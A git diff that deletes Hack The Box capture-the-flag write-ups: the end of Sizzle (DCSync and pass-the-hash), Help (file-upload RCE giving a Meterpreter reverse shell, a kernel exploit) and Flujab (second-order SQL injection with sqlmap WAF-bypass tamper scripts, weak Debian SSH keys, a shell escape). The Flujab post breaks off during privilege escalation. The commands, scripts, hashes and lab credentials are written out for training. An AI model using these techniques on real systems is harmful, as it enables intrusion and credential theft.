-### Privesc
-
-For this next part, we'll add our Windows 10 VM to the domain since both `amanda` and `mrlky` have the necessary privileges to add machines.
-
-```
-PS C:\Windows\system32> add-computer -domainname htb.local
-
-cmdlet Add-Computer at command pipeline position 1
-Supply values for the following parameters:
-Credential
-WARNING: The changes will take effect after you restart the computer DESKTOP-PL1DUQJ.
-PS C:\Windows\system32>
-```
-
-After a reboot, we're able to log in to the Win 10 VM with those two domain accounts.
-
-Let's run SharpHound to pull the data from AD and import it into BloodHound:
-```
-PS C:\Users\mrlky\documents> .\sharphound -c All
-Initializing BloodHound at 10:51 AM on 1/18/2019
-Resolved Collection Methods to Group, LocalGroup, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM
-Starting Enumeration for HTB.LOCAL
-Status: 62 objects enumerated (+62 15.5/s --- Using 48 MB RAM )
-Finished enumeration for HTB.LOCAL in 00:00:04.0273869
-0 hosts failed ping. 0 hosts timedout.
-
-Compressing data to .\20190118105148_BloodHound.zip.
-You can upload this file directly to the UI.
-Finished compressing files!
-```
-
-
-
-We can see here that `mrlky` has `GetChanges` and `GetChangesAll` privileges on the domain so he can DCsync and get hashes for all the users
-
-Let's try that for the administrator:
-```
-mimikatz # lsadump::dcsync /user:administrator
-[DC] 'HTB.LOCAL' will be the domain
-[DC] 'sizzle.HTB.LOCAL' will be the DC server
-[DC] 'administrator' will be the user account
-
-Object RDN : Administrator
-
-** SAM ACCOUNT **
-
-SAM Username : Administrator
-Account Type : 30000000 ( USER_OBJECT )
-User Account Control : 00000200 ( NORMAL_ACCOUNT )
-Account expiration :
-Password last change : 7/12/2018 9:32:41 AM
-Object Security ID : S-1-5-21-2379389067-1826974543-3574127760-500
-Object Relative ID : 500
-
-Credentials:
- Hash NTLM: f6b7160bfc91823792e0ac3a162c9267
-```
-
-Now that we have the administrator NTLM hash, we can log in with pass-the-hash to the server and grab the final flag:
-```
-# /usr/share/doc/python-impacket/examples/wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:f6b7160bfc91823792e0ac3a162c9267 administrator@10.10.10.103
-Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies
-
-[*] SMBv3.0 dialect used
-[!] Launching semi-interactive shell - Careful what you execute
-[!] Press help for extra shell commands
-C:\>whoami
-htb\administrator
-
-C:\>type c:\users\administrator\desktop\root.txt
-91c584
-```
\ No newline at end of file
diff --git a/_posts/2019-06-08-htb-writeup-help.md b/_posts/2019-06-08-htb-writeup-help.md
deleted file mode 100644
index adf0d0afbc..0000000000
--- a/_posts/2019-06-08-htb-writeup-help.md
+++ /dev/null
@@ -1,202 +0,0 @@
----
-layout: single
-title: Help - Hack The Box
-excerpt: "Help showed that a small programming mistake in a web application can introduce a critical security vulnerability. In this case, the PHP application errors out when uploading invalid extensions such as PHP files but it doesn't delete the file. Combined with a predictable filename generated based on MD5 of original file + epoch, we can get RCE."
-date: 2019-06-08
-classes: wide
-header:
- teaser: /assets/images/htb-writeup-help/help_logo.png
-categories:
- - hackthebox
- - infosec
-tags:
- - linux
- - php
- - apache
- - kernel exploit
- - helpdeskz
----
-
-
-
-Help showed that a small programming mistake in a web application can introduce a critical security vulnerability. In this case, the PHP application errors out when uploading invalid extensions such as PHP files but it doesn't delete the file. Combined with a predictable filename generated based on MD5 of original file + epoch, we can get RCE.
-
-## Summary
-
-- The HelpdeskZ PHP application allows .php file uploads to be stored even though there is an error message saying an invalid file has been uploaded. The PHP code doesn't clean up the invalid file that has been uploaded.
-- We can't simply execute the uploaded file because the filename stored is obfuscated with the MD5 of the original file + the epoch timestamp. We can bruteforce those with an exploit already available.
-- After getting a shell through RCE using the uploaded file, we execute a kernel exploit for CVE 2017-16995 and gain root access.
-
-## Blog / Tools used
-
-- [HelpDeskZ < 1.0.2 - (Authenticated) SQL Injection / Unauthorized File Download](https://www.exploit-db.com/exploits/41200)
-- [Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation](https://www.exploit-db.com/exploits/44298)
-
-### Portscan
-
-Not much running on there, it's a Linux box with few services running:
-
-```
-root@ragingunicorn:~# nmap -p- -sC -sV 10.10.10.121
-Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-19 19:02 EST
-Nmap scan report for help.htb (10.10.10.121)
-Host is up (0.030s latency).
-Not shown: 65532 closed ports
-PORT STATE SERVICE VERSION
-22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
-| ssh-hostkey:
-| 2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA)
-| 256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA)
-|_ 256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519)
-80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
-|_http-server-header: Apache/2.4.18 (Ubuntu)
-|_http-title: Apache2 Ubuntu Default Page: It works
-3000/tcp open http Node.js Express framework
-|_http-title: Site doesn't have a title (application/json; charset=utf-8).
-Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
-```
-
-### Web enumeration Node.js
-
-
-
-There's some kind of Node.js application with graphql running on port 3000 but there's not much we can do with it.
-
-Fails:
-- Tried enumerating ednpoints with wfuzz, didn't find anything
-- Once I had access to the server later on I was able to find the `graphql` endpoint but couldn't anything special with it other then querying user information which I already access to locally. The username/password shown here was not used anywhere on the box, just a distraction.
-
-### Web enumeration Apache
-
-The main page shows the default Ubuntu Apache page:
-
-
-
-Next, when we run `gobuster` we find the `/support` URI:
-
-```
-# gobuster -w /usr/share/seclists/Discovery/Web-Content/big.txt -q -t 50 -u http://help.htb
-/javascript (Status: 301)
-/server-status (Status: 403)
-/support (Status: 301)
-```
-
-This points to the **HelpdeskZ** application running on the server.
-
-
-
-
-
-There's nothing in the Knowledge Base or News section, and we can't log in because we don't have credentials.
-
-A quick search on Exploit-DB shows there's a vulnerability related to file uploads:
-
-```
-root@ragingunicorn:~# searchsploit helpdeskz
-------------------------------------------------
- Exploit Title | Path | (/usr/share/exploitdb/)
-------------------------------------------------
-HelpDeskZ 1.0.2 - Arbitrary File | exploits/php/webapps/40300.py
-HelpDeskZ < 1.0.2 - (Authenticated) SQL Injection / Unauthorized File | exploits/php/webapps/41200.py
-------------------------------------------------
-Shellcodes: No Result
-```
-
-Exploit: `https://www.exploit-db.com/exploits/40300`
-
-Basically, when we upload an attachment in a support ticket, the filename is obfuscated by doing an MD5 checksum of the filename concatenated with the epoch time. Because the code uses an integer for the epoch time (instead of a float), we can bruteforce the values by computing the MD5 value of every filename/time combination from the past few minutes and issue a GET request to the server to find if the filename is correct.
-
-Looking the HelpdeskZ code, we can see that the upload folder is `/support/uploads/tickets/`, this will need to be passed to the exploit script to bruteforce the correct path.
-
-
-
-
-
-We also need to make sure that the time on our computer is set to same time as the server, or close enough so the script will be able to cycle through the epoch time that matches the upload timestamp.
-
-```
-# date && curl -v --head http://help.htb/
-Sun Jan 20 09:33:00 EST 2019
-* Trying 10.10.10.121...
-* TCP_NODELAY set
-* Connected to help.htb (10.10.10.121) port 80 (#0)
-> HEAD / HTTP/1.1
-> Host: help.htb
-> User-Agent: curl/7.62.0
-> Accept: */*
->
-< HTTP/1.1 200 OK
-HTTP/1.1 200 OK
-< Date: Sun, 20 Jan 2019 14:32:37 GMT
-Date: Sun, 20 Jan 2019 14:32:37 GMT
-```
-
-For the reverse shell, we can can use a simple `php/meterpreter/reverse_tcp` shell and attach it to a support ticket:
-
-
-
-
-
-It seems that some extensions are blacklisted or whitelisted on the server. But if we look at the source code on Github, we notice that even when we get an error message, there is no code that deletes the invalid file. The file is still saved on the server even if we get an error message.
-
-
-
-To run the exploit, we just give it the upload location and the filename we uploaded:
-```
-# ./40300.py http://help.htb/support/uploads/tickets/ cmd.php
-Helpdeskz v1.0.2 - Unauthenticated shell upload exploit
-```
-
-Once the script hits the right filename, the payload is triggered and we get a shell:
-```
-msf5 exploit(multi/handler) >
-[*] Sending encoded stage (51106 bytes) to 10.10.10.121
-[*] Meterpreter session 1 opened (10.10.14.23:5555 -> 10.10.10.121:35166) at 2019-01-20 09:35:45 -0500
-```
-
-Now we can grab the flag and write our SSH key to the user folder so we can log in by SSH after:
-```
-meterpreter > shell
-Process 17138 created.
-Channel 0 created.
-cd /home/help
-cat user.txt
-bb8a7b....
-mkdir .ssh
-echo "ssh-rsa AAAAB3NzaC1y[...]hscPOtelvd root@ragingunicorn" >> .ssh/authorized_keys
-```
-
-### Privesc
-
-Since this is a low point box, the priv esc is probably something simple such as kernel exploit.
-
-We get a bunch of results when we run the [Linux Exploit Suggester](https://github.com/mzet-/linux-exploit-suggester)
-
-```
-[...]
-[+] [CVE-2017-16995] eBPF_verifier
-
- Details: https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html
- Tags: debian=9,fedora=25|26|27,[ ubuntu=14.04|16.04|17.04 ]
- Download URL: https://www.exploit-db.com/download/45010
- Comments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1
-[...]
-```
-
-We can exploit CVE 2017-16995 to gain root access. According to the CVE's description:
-
-> The check_alu_op function in kernel/bpf/verifier.c in the Linux kernel through 4.14.8 allows local users to cause a denial of service (memory corruption) or possibly have unspecified other impact by leveraging incorrect sign extension.
-
-Exploiting it was easy:
-
-```
-help@help:~$ cd /dev/shm
-help@help:/dev/shm$ vi exp.c
-help@help:/dev/shm$ gcc -o exp exp.c
-help@help:/dev/shm$ ./exp
-task_struct = ffff880039afd400
-uidptr = ffff880036b75b04
-spawning root shell
-root@help:/dev/shm# cat /root/root.txt
-b7fe60...
-```
diff --git a/_posts/2019-06-15-htb-writeup-flujab.md b/_posts/2019-06-15-htb-writeup-flujab.md
deleted file mode 100644
index 4ede4390de..0000000000
--- a/_posts/2019-06-15-htb-writeup-flujab.md
+++ /dev/null
@@ -1,633 +0,0 @@
----
-layout: single
-title: Flujab - Hack The Box
-excerpt: "Flujab was without a doubt one of the toughest HTB box. It's got a ton of vhosts that force you to enumerate a lot of things and make sure you don't get distracted by the quantity of decoys and trolls left around. The key on this box is to stay 'in scope' as the box author hinted at before the box was released, so that means enumerating two specific domains without getting distracted by all the other stuff on the box."
-date: 2019-06-15
-classes: wide
-header:
- teaser: /assets/images/htb-writeup-flujab/flujab_logo.png
-categories:
- - hackthebox
- - infosec
-tags:
- - smtp
- - sqli
- - enumeration
- - screen
- - exploit
- - waf
- - tamper script
- - weak ssh keys
----
-
-
-
-Flujab was without a doubt one of the toughest HTB box. It's got a ton of vhosts that force you to enumerate a lot of things and make sure you don't get distracted by the quantity of decoys and trolls left around. The key on this box is to stay 'in scope' as the box author hinted at before the box was released, so that means enumerating two specific domains without getting distracted by all the other stuff on the box.
-
-The hard part of the box is the SQL injection that forces you to exploit it manually or to write your own WAF evasion tamper scripts in SQLmap because the box author hardcoded some string substition in the code to defeat people blindly runnning sqlmap. This box is also rather unique because the output of the SQL queries is not seen on the web page where the query is sent but rather in an email received by SMTP, so we have to use a 2nd order SQL injection option in sqlmap or write custom code to handle this.
-
-When I did the box, I initially found the information I was looking for in the database but overlooked at critical column in the table row that contained the next step for getting access to the box. Eventually I found the web administation panel and was able to get access via SSH, using keys generated by Debian's weak PRNG. This was a vulnerability that I remembered when I did my OSCP.
-
-The priv esc was a nice one also, thankfully one of the `screen` binary seemed out of place a little bit which tipped me off otherwise it would have taken me much longer to find it.
-
-## Summary
-
-- Enumerate all the vhosts (based on the information in the SSL certificate's SAN), concentrating only on `freeflujab.htb`
-- Observe that the page sets a `Modus` cookie with a path of `/?smtp_config`
-- Figure out that the Cookie is just a base64 encoded value of `Configure=Null`, and that we can change it to a `True`
-- Use the SMTP administration panel to set the SMTP server IP to our own IP address
-- Find that the `?remind`, `?cancel`, and `?book` pages send an email which we can receive by running a local SMTP server on our machine
-- The webpage code contains a Boolean Blind SQL injection and a Union based SQL injection, both of which can be exploited through the email responses
-- There is a WAF in place that will block certain SQL keywords like `CASE`, `0x` and `ALL` so we need to use tamper scripts to bypass that
-- After dumping the `vaccinations` database, we find an entry in the `admin` table containing the administration panel URL
-- We can log in to the web admin panel using the credentials found in the database, then we have read access to files on the filesystem
-- There is a user `drno` which has an `authorized_keys` file in his folder, and there is a note in `/etc/ssh/deprecated_keys` that mentions old weak keys
-- This leads to one of Debian's old vulnerability where a weak PRNG can be exploited for recovering private keys based on the public key's signature
-- After recovering the private key, log in as `drno` then eventually find the `screen` version running is vulnerable to a local privilege escalation
-
-## Tools/Blogs used
-
-- [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
-- [https://www.exploit-db.com/exploits/41154](https://www.exploit-db.com/exploits/41154)
-
-## Detailed steps
-
-### Port scan
-
-Starting with the usual portscan, we only find a handful of ports open on this machine: 22, 80, 443 and 8080.
-
-```
-# nmap -p- -sC -sV 10.10.10.124
-Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-29 22:20 EST
-Nmap scan report for clownware.htb (10.10.10.124)
-Host is up (0.019s latency).
-Not shown: 65531 closed ports
-PORT STATE SERVICE VERSION
-22/tcp open ssh?
-80/tcp open http nginx
-|_http-server-header: ClownWare Proxy
-|_http-title: Did not follow redirect to https://clownware.htb/
-443/tcp open ssl/http nginx
-|_http-server-header: ClownWare Proxy
-|_http-title: Direct IP access not allowed | ClownWare
-|_http-trane-info: Problem with XML parsing of /evox/about
-| ssl-cert: Subject: commonName=ClownWare.htb/organizationName=ClownWare Ltd/stateOrProvinceName=LON/countryName=UK
-| Subject Alternative Name: DNS:clownware.htb, DNS:sni147831.clownware.htb, DNS:*.clownware.htb, DNS:proxy.clownware.htb, DNS:console.flujab.htb, DNS:sys.flujab.htb, DNS:smtp.flujab.htb, DNS:vaccine4flu.htb, DNS:bestmedsupply.htb, DNS:custoomercare.megabank.htb, DNS:flowerzrus.htb, DNS:chocolateriver.htb, DNS:meetspinz.htb, DNS:rubberlove.htb, DNS:freeflujab.htb, DNS:flujab.htb
-| Not valid before: 2018-11-28T14:57:03
-|_Not valid after: 2023-11-27T14:57:03
-|_ssl-date: TLS randomness does not represent time
-| tls-alpn:
-|_ http/1.1
-| tls-nextprotoneg:
-|_ http/1.1
-8080/tcp open ssl/http nginx
-|_http-server-header: ClownWare Proxy
-|_http-title: Direct IP access not allowed | ClownWare
-| ssl-cert: Subject: commonName=ClownWare.htb/organizationName=ClownWare Ltd/stateOrProvinceName=LON/countryName=UK
-| Subject Alternative Name: DNS:clownware.htb, DNS:sni147831.clownware.htb, DNS:*.clownware.htb, DNS:proxy.clownware.htb, DNS:console.flujab.htb, DNS:sys.flujab.htb, DNS:smtp.flujab.htb, DNS:vaccine4flu.htb, DNS:bestmedsupply.htb, DNS:custoomercare.megabank.htb, DNS:flowerzrus.htb, DNS:chocolateriver.htb, DNS:meetspinz.htb, DNS:rubberlove.htb, DNS:freeflujab.htb, DNS:flujab.htb
-| Not valid before: 2018-11-28T14:57:03
-|_Not valid after: 2023-11-27T14:57:03
-|_ssl-date: TLS randomness does not represent time
-| tls-alpn:
-|_ http/1.1
-| tls-nextprotoneg:
-|_ http/1.1
-```
-
-The first thing I noticed is the certificate Subject Alternative Name field that contains many different domains and sub-domains. I added those to my local host file so I could enumerate all those vhosts.
-
-The other item I noted was the SSH service didn't respond with a banner. I manually checked and confirmed that even through port 22 is open, there is no response sent back by the server. This would likely indicate either a "fake/troll service" running on this port or perhaps a whitelist wrapper of some sort configured on the port.
-
-### Web enumeration
-
-This box contains a large amount of vhosts as shown in the certificate SAN:
-
-- clownware.htb
-- sni147831.clownware.htb
-- proxy.clownware.htb
-- console.flujab.htb
-- sys.flujab.htb
-- smtp.flujab.htb
-- vaccine4flu.htb
-- bestmedsupply.htb
-- custoomercare.megabank.htb
-- flowerzrus.htb
-- chocolateriver.htb
-- meetspinz.htb
-- rubberlove.htb
-- freeflujab.htb
-- flujab.htb
-
-The box creator gave a small public hint in the HTB forums just before the box was released:
-
-> The mindset of this box is designed as follows:
->
-> Treat it as a box a pentester may be tasked to look at on the real internet.
->
-> Think of the box name as a kind of scope.
-
-So based on the name of box, I narrowed my search to the `flujab.htb` and `freeflujab.htb` domains. But just for sake of completeness, the following section contains the useless websites and trolls I found on the box.
-
-### Useless websites and trolling
-
-**bestmedsupply.htb**
-
-
-
-**chocolateriver.htb**
-
-
-
-**custoomercare.megabank.htb**
-
-
-
-**flowerzrus.htb**
-
-
-
-**meetspinz.htb**
-
-
-
-**rubberlove.htb**
-
-
-
-**vaccine4flu.htb**
-
-
-
-**console.flujab.htb**
-
-
-
-### Non-functional SMTP website
-
-The `smtp.flujab.htb` website contains a login form, this looks very interesting... Or not as it turns out.
-
-
-
-I thought there was a SQL injection of some sort on there but I quickly saw that the form doesn't do anything when you click to sign in. When we look at the code, we can see that it's badly broken and doesn't do anything when we submit the form.
-
-
-
-
-
-The `api` call shown above is missing the closing parantheses, plus other functions are missing such as shown_modal_error(). This whole code is basically useless. I tried fuzzing the site to find a hidden API endpoint but didn't find any.
-
-I found a `/README` file on the site that confirmed that this site is no longer used:
-
-```
- -------------------------------------
- This Service has been decommissioned!
- -------------------------------------
-
-Administrators can now use the configuration
-section of the new free service application.
-```
-
-Let's move on to the `freeflujab.htb` site.
-
-### Enumerating the real target website
-
-The **freeflujab.htb** website is an healthcare information site about the Flu where patients can register, book, cancel or send a reminder for appoinments.
-
-
-
-
-
-**Registration: `?reg`**
-
-The registration doesn't work when registering a user, we can an error message about a connection error to the mailserver. The website errors out when it tries to send an email after the registration.
-
-
-
-
-
-**Booking: `?book`**
-
-The booking page also doesn't work for us because we don't have a valid patient name to book an appointment.
-
-
-
-
-
-**Cancel: `?cancel`**
-
-We can't get to the cancelation page as it redirects us to `?ERROR=NOT_REGISTERED` automatically.
-
-
-
-The next thing I did was check the cookies I had since the registration status must be stored in a session on the server-side or in a client cookie.
-
-
-
-The content of the `Modus` and `Registered` cookies are simply Base64 encoded:
-
-- Modus: `Q29uZmlndXJlPU51bGw%3D` = `Configure=Null`
-- Patient: `ea879301202391042cd783affa29f92a` =
-- Registered: `ZWE4NzkzMDEyMDIzOTEwNDJjZDc4M2FmZmEyOWY5MmE9TnVsbA%3D%3D` = `ea879301202391042cd783affa29f92a=Null`
-
-By changing the `Registered` cookie to `ea879301202391042cd783affa29f92a=True`, we are able to access the cancelation page:
-
-
-
-But we get the same SMTP error message when trying to cancel an appointment:
-
-
-
-Then I noticed in the cookies that there is a cookie set for the `/?smtp_config` path. If we try to connect to it, we get redirected to `https://freeflujab.htb/?denied`. But if we change the `Configure=Null` cookie value to `Configure=True` we are able to access the SMTP configuration page.
-
-
-
-We can't set the server address to our own IP address:
-
-
-
-But the validation is performed client-side so we can just use Burp to change the `smtp.flujab.htb` value for our IP address:
-
-
-
-
-
-There's also a link to see the whitelisted sysadmins but we get a denied redirection when we click on it. The problem is the `Configure=True` cookie has been set to the `/?smtp_config` path. If we change the path of the cookie to `/` we can access the whitelist page.
-
-
-
-Changing the SMTP server address adds our IP address automatically to the whitelist. Later this same whitelist is used to allow access to the web administation panel so if the box gets reverted, we need to go back to the SMTP configuration page and change the SMTP server address again otherwise our IP can't access the admin panel.
-
-**Remind: `?remind`**
-
-The last useful link on the page is used to send appointment reminders.
-
-
-
-Now that we have configured a valid SMTP address, we can send a reminder (we can choose any NHS number, it doesn't need to exist in the database)... But we get an error message:
-
-
-
-The form doesn't contain an email address field, but we can intercept the request with Burp and add it ourselves:
-
-
-
-We can use the python smtpd module to run an SMTP server in Kali and receive the email:
-
-
-
-### SQL injection
-
-The email itself doesn't contain anything useful, so the next step is to fuzz the `nhsnum` input and look for an SQL injection. Instead of doing it manually through Burp, I made a quick script to speed up the process.
-
-```python
-#!/usr/bin/python
-
-import requests
-from pwn import *
-import time
-
-while True:
- cmd = raw_input(">").strip()
-
- headers = {
- "Cookie": "Patient=ea879301202391042cd783affa29f92a;Registered=ZWE4NzkzMDEyMDIzOTEwNDJjZDc4M2FmZmEyOWY5MmE9VHJ1ZQ==",
- }
-
- data = {
- "nhsnum": "{}".format(cmd),
- "email": "test@test.com",
- "submit": "Send+Reminder"
- }
-
- proxies = {
- 'http': 'http://127.0.0.1:8080',
- 'https': 'http://127.0.0.1:8080',
- }
-
- before = time.time()
- r = requests.post(url="https://freeflujab.htb/?remind", headers=headers, data=data, verify=False, proxies=proxies)
- after = time.time()
- delta = after-before
- print("Response time: {}".format(delta))
-```
-
-After fuzzing for a bit, I found a UNION based injection where the `Ref:` field in the subject header contains the return value from the 3rd column.
-
-
-
-I wanted to use sqlmap to enumerate the database but I had a problem since sqlmap doesn't "see" the responses from the queries since they come by email through the SMTP server. So what I did was create a small script to pipe the content of `Ref:` field in the Subject header to a file in my Apache server root directory:
-
-```python
-from datetime import datetime
-import asyncore
-import re
-from smtpd import SMTPServer
-
-class EmlServer(SMTPServer):
- no = 0
- def process_message(self, peer, mailfrom, rcpttos, data):
- filename = '/var/www/html/test.txt'
- f = open(filename, 'w')
- buf = data.splitlines()
- for line in buf:
- # print line
- if 'Ref:' in line:
- print line.split('Ref:')[1]
- f.write(line.split('Ref:')[1])
- f.close
- print 'Message %d, %s saved.' % (self.no, filename)
- self.no += 1
-
-def run():
- foo = EmlServer(('10.10.14.23', 25), None)
- try:
- asyncore.loop()
- except KeyboardInterrupt:
- pass
-
-
-if __name__ == '__main__':
- run()
-```
-
-Then I used the `--second-url` option in sqlmap to make it check my local webserver for the query reponse. I added a tamper script first in the chain so it wipes the content of the reponse file, so that if the query errors out on the server it doesn't cause a false positive.
-
-**delete.py**
-
-```python
-def tamper(payload, **kwargs):
- retVal = payload
- f = open('/var/www/html/test.txt', 'w')
- f.write('')
- f.close()
- sleep(0.5)
- return retVal
-```
-
-I then used the following sqlmap command: `sqlmap --threads 1 -r /root/htb/flujab/flujab.req --risk=3 -p nhsnum --random-agent --proxy=http://127.0.0.1:8080 --second-url http://127.0.0.1/test.txt --tamper delete --force-ssl --technique u --union-cols 5 --union-char 1 -vv --suffix " #" --dbms=mysql --flush-session`
-
-But I had problems getting sqlmap working correctly, for some reason even when I gave it the correct number of columns it didn't find the injection point.
-
-
-
-Then I remembered that on some of the webpages there was a `Protected By ClownWare.htb` message at the bottom. So I figured there was a WAF messing with some of the parameters sent to the server.
-
-After playing with the queries manually, I found that `ALL`, `0x` and `CASE` keywords are modified by the server:
-
-
-
-
-
-
-
-For the `ALL` and `0x` statements, I used the `unionalltounion` and `0x2char` tamper scripts already included in sqlmap but for `CASE` I made my own script to replace it with an `IF` statement:
-
-**case.py**
-
-```python
-def tamper(payload, **kwargs):
- retVal = payload
- if payload:
- retVal = retVal.replace("CASE WHEN", "IF(")
- retVal = retVal.replace("THEN 1 ELSE 0 END", ",1,0)")
- return retVal
-```
-
-The final sqlmap command is: `sqlmap --threads 1 -r /root/htb/flujab/flujab.req --risk=3 -p nhsnum --random-agent --proxy=http://127.0.0.1:8080 --second-url http://127.0.0.1/test.txt --tamper delete --force-ssl --technique u --union-cols 5 --union-char 1 -vv --suffix " #" --dbms=mysql --tamper unionalltounion --tamper 0x2char --tamper case`
-
-It's not fast but after a few minutes it found the injection point:
-
-
-
-Now that we have the injection working in sqlmap, I was able to dump the list of databases:
-
-```
-[*] information_schema
-[*] MedStaff
-[*] mysql
-[*] openmrs
-[*] performance_schema
-[*] phplist
-[*] vaccinations
-```
-
-The `vaccinations` database contains the following tables:
-
-```
-+------------------------+
-| user |
-| admin |
-| admin_attribute |
-| admin_password_request |
-| adminattribute |
-| admintoken |
-| eventlog |
-[...]
-```
-
-I dumped the `admin` table and found some credentials and a vhost that I previously didn't have: `sysadmin-console-01.flujab.htb`
-
-
-
-The hash was easily cracked with john and rockyou.txt:
-
-- sysadm / th3doct0r
-
-### Access to the SMTP configuration page
-
-The admin panel is running the Ajenti application:
-
-
-
-We can log in with the `sysadm` credentials we found in the database, and we can use the Notepad tool to read & write files:
-
-
-
-The `/home/drno` folder contains two interesting files in the `.ssh` directory:
-
-
-
-The `userkey` file contains an encrypted SSH private key that we can crack with ssh2john / john (password: shadowtroll) but we can't use it because it doesn't match the `authorized_keys` file. `authorized_keys` contains a hint about whitelisting but other than that it doesn't seem possible to exploit this since we don't have the matching private key.
-
-```
-# shell whitelisting + key auth enabled
-ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAqTfCP9e71pkBY+uwbr+IIx1G1r2G1mcjU5GsA42OZCWOKhWg2VNg0aAL+OZLD2YbU/di+cMEvdGZNRxCxaBNtGfMZTTZwjMNKAB7sJFofSwM29SHhuioeEbGU+ul+QZAGlk1x5Ssv+kvJ5/S9vUESXcD4z0jp21CxvKpCGI5K8YfcQybF9/v+k/KkpDJndEkyV7ka/r/IQP4VoCMQnDpCUwRCNoRb/kwqOMz8ViBEsg7odof7jjdOlbBz/F9c/s4nbS69v1xCh/9muUwxCYtOxUlCwaEqm4REf4nN330Gf4I6AJ/yNo2AH3IDpuWuoqtE3a8+zz4wcLmeciKAOyzyoLlXKndXd4Xz4c9aIJ/15kUyOvf058P6NeC2ghtZzVirJbSARvp6reObXYs+0JMdMT71GbIwsjsKddDNP7YS6XG+m6Djz1Xj77QVZbYD8u33fMmL579PRWFXipbjl7sb7NG8ijmnbfeg5H7xGZHM2PrsXt04zpSdsbgPSbNEslB78RC7RCK7s4JtroHlK9WsfH0pdgtPdMUJ+xzv+rL6yKFZSUsYcR0Bot/Ma1k3izKDDTh2mVLehsivWBVI3a/Yv8C1UaI3lunRsh9rXFnOx1rtZ73uCMGTBAComvQY9Mpi96riZm2QBe26v1MxIqNkTU03cbNE8tDD96TxonMAxE=
-```
-
-However after looking for a bit, I found the `/etc/ssh/deprecated_keys` directory that contains the following files:
-
-
-
-README.txt has the following message:
-```
-Copies of compromised keys will be kept here for comparison until all staff
-have carried out PAM update as per the surgery security notification email.
-
-!!! DO NOT RE-USE ANY KEYS LINKED TO THESE !!!
-
-
-UPDATE..
-All bad priv keys have now been deleted, only pub keys are retained
-for audit purposes.
-```
-
-I remember from my OSCP days that there was a vulnerability in an old Debian release where:
-
-> All SSL and SSH keys generated on Debian-based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected.
-
-[Debian OpenSSL Predictable PRNG](https://github.com/g0tmi1k/debian-ssh)
-
-So basically we just need to look through the repo and find the matching private key for DrNo's public key.
-
-Getting the public key fingerprint:
-
-```
-root@ragingunicorn:~/htb/flujab# ssh-keygen -l -E md5 -f 5.pub | tr -d ":"
-4096 MD5dead0b5b829ea2e3d22f47a7cbde17a6 drno@flujab.htb (RSA)
-```
-
-Finding the matching private key:
-
-```
-root@ragingunicorn:~/debian-ssh# ls -lR | grep dead0b5b829ea2e3d22f47a7cbde17a6
--rw------- 1 root root 3239 May 14 2008 dead0b5b829ea2e3d22f47a7cbde17a6-23269
--rw-r--r-- 1 root root 740 May 14 2008 dead0b5b829ea2e3d22f47a7cbde17a6-23269.pub
-
-root@ragingunicorn:~/debian-ssh# find ./ -name dead0b5b829ea2e3d22f47a7cbde17a6-23269
-./uncommon_keys/rsa/4096/dead0b5b829ea2e3d22f47a7cbde17a6-23269
-```
-
-We still can't connect to the SSH service though, we need to fix that first. The `/etc/ssh/sshd_wl` file is a whitelist that can be modified so we can add our IP address.
-
-
-
-We can then log in with private key from `drno`:
-
-```
-root@ragingunicorn:~/debian-ssh/uncommon_keys/rsa/4096# ssh -i dead0b5b829ea2e3d22f47a7cbde17a6-23269 drno@10.10.10.124
-Linux flujab 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64
-
-The programs included with the Debian GNU/Linux system are free software;
-the exact distribution terms for each program are described in the
-individual files in /usr/share/doc/*/copyright.
-
-Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
-permitted by applicable law.
-rbash: dircolors: command not found
-drno@flujab:~$ cat user.txt
-c519aa...
-```
-
-### Privesc
-
-We seem to be stuck in a rbash restricted shell, we need to escape that first:
-
-```
-drno@flujab:~$ ls -l/
-user.txt
-drno@flujab:~$ cat user.txt
-c519aa...
-drno@flujab:~$ cd ..
-rbash: cd: restricted
-```
-
-Escape is easy with `-t bash --norc --noprofile`:
-
-```
-root@ragingunicorn:~/debian-ssh/uncommon_keys/rsa/4096# ssh -i dead0b5b829ea2e3d22f47a7cbde17a6-23269 drno@10.10.10.124 -t bash --norc --noprofile
-bash-4.4$ cd /
-bash-4.4$ ps
- PID TTY TIME CMD
- 1151 pts/0 00:00:00 bash
- 1152 pts/0 00:00:00 ps
-bash-4.4$ whoami
-drno
-bash-4.4$ id
-uid=1000(drno) gid=1000(drno) groups=1000(drno),1002(super),1003(medic),1004(drugs),1005(doctor)
-```
-
-Two copies of the screen program were found on the system, the 2nd one is suid so it will execute as root.
-
-```
-bash-4.4$ ls -l /usr/bin/screen
--rwSr-xr-x 1 root utmp 457608 Dec 9 22:02 /usr/bin/screen
-bash-4.4$ ls -l /usr/local/share/screen/screen
--rwsr-xr-x 1 root root 1543016 Nov 27 13:49 /usr/local/share/screen/screen
-```
-
-> 'S' = setgid bit is set, but the execute bit isn't set.
-> 's' = setgid bit is set, and the execute bit is set.
-
-After checking the version, there is an exploit available for screen:
-
-```
-bash-4.4$ /usr/local/share/screen/screen --version
-Screen version 4.05.00 (GNU) 10-Dec-16
-```
-
-[https://www.exploit-db.com/exploits/41154](https://www.exploit-db.com/exploits/41154)
-
-First, we'll just compile the exploit:
-
-```
-root@ragingunicorn:/tmp# gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
-```
-
-Next, we upload it to the server:
-
-```
-bash-4.4$ cd /tmp
